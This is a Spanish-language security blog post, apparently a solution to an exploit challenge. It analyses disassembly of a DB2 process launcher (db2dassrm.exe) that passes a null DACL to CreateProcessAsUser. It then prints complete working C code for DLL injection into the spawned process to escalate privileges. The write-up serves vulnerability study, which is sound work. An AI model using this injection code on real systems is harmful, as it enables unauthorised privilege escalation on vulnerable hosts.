El proceso padre db2dassrm.exe ejecuta este proceso mediante una llamada a CreateProcessAsUser pasándole un descriptor de seguridad nulo. En el siguiente código ensamblador se muestra el fragmento en el que se crea el descriptor de seguridad:

lea eax, [ebp+pSecurityDescriptor]
push 1 ; dwRevision
push eax ; pSecurityDescriptor
call ds:InitializeSecurityDescriptor ; Create the Security Descriptor
test eax, eax
jz loc_407943
lea edx, [ebp+pSecurityDescriptor]
xor eax, eax ; Clear EAX
push eax ; bDaclDefaulted
push eax ; pDacl == 0, null DACL
push 1 ; bDaclPresent
push edx ; pSecurityDescriptor
call ds:SetSecurityDescriptorDacl ;
;SetSecurityDescriptorDacl(&pSecurityDescriptor, 1, 0, 0);
;Obviously, it leads to privilege scalation.
test eax, eax
jz loc_4078F6
mov edx, [ebp+var_C]
lea eax, [ebp+pSecurityDescriptor]
mov ecx, [edx+200h]
mov [ebp+ProcessAttributes.lpSecurityDescriptor], eax
;ProcessAttributes.lpSecurityDescriptor = pSecurityDescriptor;

Como se puede ver, el parámetro pDacl pasado para crear el descriptor es un 0, lo cual indica que no tiene ninguna lista de control de acceso asignada, otorgando privilegios a cualquier usuario del mundo mundial (osea, Bilbao). Según la documentación de Microsoft:

pDacl

A pointer to an ACL structure that specifies the DACL for the security descriptor. If this parameter is NULL, a NULL DACL is assigned to the security descriptor, which allows all access to the object. The DACL is referenced by, not copied into, the security descriptor.

La lista de acceso (pDacl) que se crea se asigna al miembro lpSecurityDescriptor de la estructura ProcessAtributes, utilizada a posteriori para la llamada a CreateProcessAsUser:

loc_40782D: ; CODE XREF: sub_407460+385

lea edi, [ebp+ProcessAttributes] ; EDI = ProcessAttributes
lea ecx, [ebp+StartupInfo]
lea edx, [ebp+ProcessInformation]
push edx ; lpProcessInformation
xor eax, eax
push ecx ; lpStartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push 8000200h ; dwCreationFlags
push eax ; bInheritHandles
push edi ; lpThreadAttributes -> Our ProcessAttributes
push edi ; lpProcessAttributes -> Our ProcessAttributes
lea edx, [ebp+CommandLine]
push edx ; lpCommandLine
push eax ; lpApplicationName
mov eax, [ebp+hObject]
push eax ; hToken
call ds:CreateProcessAsUserA ; Finally, create the process
mov [ebp+lstmtPath], eax

Los privilegios del proceso creado de este modo permiten que cualquier usuario del sistema pueda hacer lo que quiera con el proceso. ¿Qué hacer para aprovechar esta vulnerabilidad? Seguro que sabéis medios muy imaginativos pero, yo que soy un vago, me quedo con el DLL injection de toda la vida y a correr. Con el siguiente código, pasándole el PID del proceso que ha creado inyectará la DLL que nos dé la gana:

int mainLogic(int pid, char *dllName)
{
HANDLE hprocess;
LPVOID RemoteString, LoadLibAddy;

printf(“[+] Using values %d and %s … \n“, pid, dllName);

// Open the process
hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (int)pid);

if(!hprocess)
{
printf(“OpenProcess() failed: %d“, GetLastError());
return(1);
}

// Get the address of LoadLibrary
LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle(_T(“kernel32.dll”)), “LoadLibraryA”);

if(!LoadLibAddy)
{
printf(“GetProcAddress() failed: %d“, GetLastError());
return(1);
}

// Reserve a region of pages in the virtual address space
RemoteString = (LPVOID)VirtualAllocEx(hprocess, NULL, strlen(dllName), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);

if(!RemoteString)
{
printf(“VirtualAllocEx() failed: %d“, GetLastError());
return(1);
}

// Write the DLL name to the process’s virtual address space
if(!WriteProcessMemory(hprocess, (LPVOID)RemoteString, dllName, strlen(dllName), NULL))
{
printf(“WriteProcessMemory() failed: %d“, GetLastError());
return(1);
}

// Create a remote thread and pass as the callback the address of LoadLibraryA
if(!CreateRemoteThread(hprocess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL))
{
printf(“CreateRemoteThread() failed: %d“, GetLastError());
return(1);
}

// Close the handle and exit
CloseHandle(hprocess);
return(0);
}

Una falla superobvia que se encuentra con tan solo 5 minutos de auditoría “por encima”.

]]> http://blog.48bits.com/2008/07/20/solucion-al-exploit4f00d-2/feed/ 2